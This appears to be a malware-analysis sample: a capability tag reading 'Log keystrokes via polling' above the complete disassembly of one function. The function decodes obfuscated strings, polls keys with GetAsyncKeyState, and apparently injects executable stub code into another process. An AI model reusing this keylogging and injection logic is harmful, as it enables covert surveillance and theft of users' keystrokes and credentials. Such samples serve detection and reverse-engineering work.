Function at 0x14001d170
Capabilities:
Log keystrokes via polling

Disassembly:
push rbp
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0x1d8
lea rbp, [rsp + 0x80]
movaps xmmword [rbp + 0x140], xmm6
mov qword [rbp + 0x138], 0xfffffffffffffffe
mov qword [rbp + 0x80], rdx
lea rax, vtable.wIyr_zFJC.jA_.0
mov qword [rbp + 0x18], rax
xorps xmm6, xmm6
movups xmmword [rbp + 0x20], xmm6
movups xmmword [rbp + 0x30], xmm6
movups xmmword [rbp + 0x40], xmm6
movups xmmword [rbp + 0x50], xmm6
lea rcx, [rbp + 0x18]
mov rdx, r9
call fcn.14001f670
movaps xmmword [rbp + 0xc0], xmm6
mov qword [rbp + 0xd0], 0
mov rsi, qword [rbp + 0x40]
mov rdi, qword [rbp + 0x48]
cmp rsi, rdi
je 0x14001d255
sub rdi, rsi
cmp rdi, 0x1000
jb 0x14001d21d
cmp rdi, 0xffffffffffffffd9
jae 0x14001d8d2
lea rcx, [rdi + 0x27]
call fcn.1400ad850
mov rcx, rax
add rcx, 0x27
and rcx, 0xffffffffffffffe0
mov qword [rcx - 8], rax
jmp 0x14001d231
test rdi, rdi
je 0x14001d22f
mov rcx, rdi
call fcn.1400ad850
mov rcx, rax
jmp 0x14001d231
xor ecx, ecx
mov qword [rbp + 0xc0], rcx
lea rbx, [rcx + rdi]
mov qword [rbp + 0xd0], rbx
mov rdx, rsi
mov r8, rdi
call fcn.1401d4a60
mov qword [rbp + 0xc8], rbx
mov eax, dword [rbp + 0x5c]
mov qword [rbp + 0x88], rax
mov rax, qword [rbp + 0x20]
mov qword [rbp + 0xb8], rax
movabs rax, 0x2ef4b607628b6e3a
mov qword [rbp + 0xe0], rax
movabs rsi, 0xfafb204a66a3d07e
mov qword [rbp + 0xe8], rsi
movabs r14, 0x2ef4b60762f80259
mov qword [rbp - 0x60], r14
mov qword [rbp - 0x58], rsi
lea rdi, [rbp - 0x60]
mov rax, rdi
movups xmm0, xmmword [rax]
xorps xmm0, xmmword [rbp + 0xe0]
movaps xmmword [rbp + 0xe0], xmm0
lea rcx, [rbp + 0xe0]
call fcn.1401eec0c
movabs rax, 0x6ca6f3573bb02202
mov qword [rbp + 0xe0], rax
movabs rax, 0xafa8001746e69e31
mov qword [rbp + 0xe8], rax
movabs rax, 0x6a88dcca633f1708
mov qword [rbp + 0xf0], rax
movabs rax, 0xe903d034da413482
mov qword [rbp + 0xf8], rax
movabs rax, 0x624340924fababbb
mov qword [rbp + 0x100], rax
movabs rax, 0xa28dfab0f541d6c1
mov qword [rbp + 0x108], rax
mov qword [rbp - 0x60], r14
mov qword [rbp - 0x58], rsi
movabs r12, 0x3aa8fd99307a544b
mov qword [rbp - 0x50], r12
movabs r15, 0xc9319614891271d0
mov qword [rbp - 0x48], r15
movabs rax, 0x27090edb6ff9e4fd
mov qword [rbp - 0x40], rax
movabs rax, 0xa28df0feba088282
mov qword [rbp - 0x38], rax
movups xmm0, xmmword [rdi]
xorps xmm0, xmmword [rbp + 0xe0]
movaps xmmword [rbp + 0xe0], xmm0
movups xmm0, xmmword [rdi + 0x10]
xorps xmm0, xmmword [rbp + 0xf0]
movaps xmmword [rbp + 0xf0], xmm0
movups xmm0, xmmword [rdi + 0x20]
xorps xmm0, xmmword [rbp + 0x100]
movaps xmmword [rbp + 0x100], xmm0
lea rbx, [rbp + 0xe0]
mov rcx, rbx
call fcn.1400040b0
cmp byte [0x1402c0308], 0
je 0x14001d500
movaps xmm0, xmmword [0x140211850]
movaps xmmword [rbp], xmm0
movaps xmm0, xmmword [0x140211840]
movaps xmmword [rbp - 0x10], xmm0
movaps xmm0, xmmword [0x140211830]
movaps xmmword [rbp - 0x20], xmm0
movaps xmm0, xmmword [0x140211820]
movaps xmmword [rbp - 0x30], xmm0
movaps xmm0, xmmword [0x140211810]
movaps xmmword [rbp - 0x40], xmm0
movaps xmm0, xmmword [0x140211800]
movaps xmmword [rbp - 0x50], xmm0
movaps xmm0, xmmword [str.QRUVSWAPAQARASATAUAVAWH]
movaps xmmword [rbp - 0x60], xmm0
mov dword [rbp + 0xf], 0xc3c031
mov rcx, qword [0x1402c00a0]
mov edx, reloc.WS2_32.dll_WSAStartup
mov r8d, 0x3000
mov r9d, 0x40
call fcn.140006370
mov qword [rbp + 0xb0], rax
test rax, rax
je 0x14001d86d
mov r13, qword [0x1402c00a0]
movabs rax, 0x2e86b662628b022c
mov qword [rbp + 0x110], rax
movabs rax, 0xfa9f20646691d04d
mov qword [rbp + 0x118], rax
movabs rax, 0x3aa8fd9930165427
mov qword [rbp + 0x120], rax
mov qword [rbp + 0x128], r15
mov qword [rbp + 0xe0], r14
mov qword [rbp + 0xe8], rsi
mov qword [rbp + 0xf0], r12
mov qword [rbp + 0xf8], r15
mov rax, rbx
movups xmm0, xmmword [rax]
xorps xmm0, xmmword [rbp + 0x110]
movaps xmmword [rbp + 0x110], xmm0
movups xmm0, xmmword [rax + 0x10]
xorps xmm0, xmmword [rbp + 0x120]
movaps xmmword [rbp + 0x120], xmm0
mov qword [rbp + 0x60], 0
movaps xmm0, xmmword [0x140208480]
movups xmmword [rbp + 0x70], xmm0
mov word [rbp + 0x60], 0
lea rcx, [rbp + 0x110]
call fcn.1401ef058
mov rdi, rax
cmp rax, 7
jbe 0x14001d535
lea rcx, [rbp + 0x60]
lea r9, [rbp + 0x110]
mov rdx, rdi
call fcn.14000f2b0
jmp 0x14001d556
mov rdi, qword [sym.imp.USER32.dll_GetAsyncKeyState]
jmp 0x14001d518
test cl, cl
jne 0x14001d3b9
mov ecx, WSACleanup
call rdi
movzx ecx, byte [0x1402c0308]
test al, 1
je 0x14001d510
xor cl, 1
mov byte [0x1402c0308], cl
jmp 0x14001d510
mov qword [rbp + 0x70], rdi
mov r8, rdi
add r8, rdi
lea rcx, [rbp + 0x60]
lea rdx, [rbp + 0x110]
call fcn.1401d4a60
mov word [rbp + rdi*2 + 0x60], 0
lea rdx, [rbp + 0x60]
mov rcx, r13
call fcn.1400061f0
test rax, rax
je 0x14001d86d
mov rcx, rax
call fcn.14001ccc0
test al, al
je 0x14001d86d
movabs rax, 0x4bb3c46211ad7617
mov qword [rbp + 0x90], rax
movabs rax, 0x9589472f14cc960a
mov qword [rbp + 0x98], rax
movabs rax, 0x55cc93f0671e3a3e
mov qword [rbp + 0xa0], rax
movabs rax, 0xc9319614891271a7
mov qword [rbp + 0xa8], rax
mov qword [rbp + 0xe0], r14
mov qword [rbp + 0xe8], rsi
mov qword [rbp + 0xf0], r12
mov qword [rbp + 0xf8], r15
movups xmm0, xmmword [rbx]
xorps xmm0, xmmword [rbp + 0x90]
movaps xmmword [rbp + 0x90], xmm0
movups xmm0, xmmword [rbx + 0x10]
xorps xmm0, xmmword [rbp + 0xa0]
movaps xmmword [rbp + 0xa0], xmm0
mov qword [rbp + 0x110], 0
movaps xmm0, xmmword [section..rdata]
movups xmmword [rbp + 0x120], xmm0
mov byte [rbp + 0x110], 0
lea rcx, [rbp + 0x90]
call fcn.1401ed780
mov rbx, rax
cmp rax, 0xf
jbe 0x14001d664
test rbx, rbx
js 0x14001d8d7
mov rax, rbx
or rax, 0xf
js 0x14001d68b
cmp rax, 0x17
mov edi, reloc.WS2_32.dll_shutdown
cmovae rdi, rax
lea rcx, [rdi + 1]
cmp rdi, 0xfff
jb 0x14001d6b9
mov rdi, rax
jmp 0x14001d69f
mov qword [rbp + 0x120], rbx
lea rcx, [rbp + 0x110]
lea rdx, [rbp + 0x90]
mov r8, rbx
call fcn.1401d4a60
mov byte [rbp + rbx + 0x110], 0
jmp 0x14001d6ec
movabs rcx, 0x8000000000000000
movabs rdi, 0x7fffffffffffffff
add rcx, 0x27
call fcn.1400ad850
mov rsi, rax
add rsi, 0x27
and rsi, 0xffffffffffffffe0
mov qword [rsi - 8], rax
jmp 0x14001d6c1
call fcn.1400ad850
mov rsi, rax
mov qword [rbp + 0x120], rbx
mov qword [rbp + 0x128], rdi
lea rdx, [rbp + 0x90]
mov rcx, rsi
mov r8, rbx
call fcn.1401d4a60
mov byte [rsi + rbx], 0
mov qword [rbp + 0x110], rsi
lea rcx, [0x1402c02f8]
lea rdx, [rbp + 0xe0]
lea r8, [rbp + 0x110]
call fcn.140033e80
mov rax, qword [rbp + 0xe0]
mov rbx, qword [rax + 0x40]
mov rax, qword [rbp + 0x128]
cmp rax, 0x10
jb 0x14001d756
mov rcx, qword [rbp + 0x110]
lea rdx, [rax + 1]
cmp rdx, 0x1000
jb 0x14001d751
mov rdi, qword [rcx - 8]
add rcx, 0xfffffffffffffff8
sub rcx, rdi
cmp rcx, 0x20
jae 0x14001d8cd
add rax, 0x28
mov rdx, rax
mov rcx, rdi
call fcn.1400ad894
test rbx, rbx
je 0x14001d86d
mov rcx, qword [0x1402c00a0]
mov qword [rbp + 0xe0], 0
lea r8, [rbp + 0xe0]
mov r9d, 8
mov rdx, rbx
call fcn.140006140
mov rax, qword [rbp + 0xe0]
mov qword [rbp - 0x48], rbx
mov qword [rbp - 0x3e], rax
mov rcx, qword [0x1402c00a0]
mov rsi, qword [rbp + 0xc0]
mov r9, qword [rbp + 0xc8]
sub r9, rsi
mov rdx, qword [rbp + 0xb8]
mov r8, rsi
call fcn.140006190
mov qword [rbp + 0xc8], rsi
mov rax, qword [rbp + 0x88]
mov rcx, qword [rbp + 0xb8]
add rax, rcx
mov qword [rbp - 0x27], rcx
mov qword [rbp - 0x16], rax
mov rcx, qword [0x1402c00a0]
mov rdx, qword [rbp + 0xb0]
lea r8, [rbp - 0x60]
mov r9d, reloc.WS2_32.dll_WSAStartup
call fcn.140006190
mov rcx, qword [0x1402c00a0]
mov r8d, 8
mov rdx, rbx
mov r9d, 4
call fcn.1400063a0
mov rcx, qword [0x1402c00a0]
lea r8, [rbp + 0xb0]
mov r9d, 8
mov rdx, rbx
call fcn.140006190
mov ecx, 0xbb8
call qword [sym.imp.KERNEL32.dll_Sleep]
mov rcx, qword [0x1402c00a0]
mov r8d, 8
mov rdx, rbx
mov r9d, 2
call fcn.1400063a0
mov ecx, 0x5dc
call qword [sym.imp.KERNEL32.dll_Sleep]
mov rcx, qword [rbp + 0x80]
call fcn.140012a80
mov rcx, qword [rbp + 0xc0]
test rcx, rcx
je 0x14001d8a9
mov rdx, qword [rbp + 0xd0]
sub rdx, rcx
cmp rdx, 0x1000
jb 0x14001d8a4
mov rax, qword [rcx - 8]
add rcx, 0xfffffffffffffff8
sub rcx, rax
cmp rcx, 0x20
jae 0x14001d8cd
add rdx, 0x27
mov rcx, rax
call fcn.1400ad894
lea rcx, [rbp + 0x18]
call fcn.14001cb40
movaps xmm6, xmmword [rbp + 0x140]
add rsp, 0x1d8
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
call fcn.1401e54b4
call fcn.1400035e0
call fcn.1400035c0
int3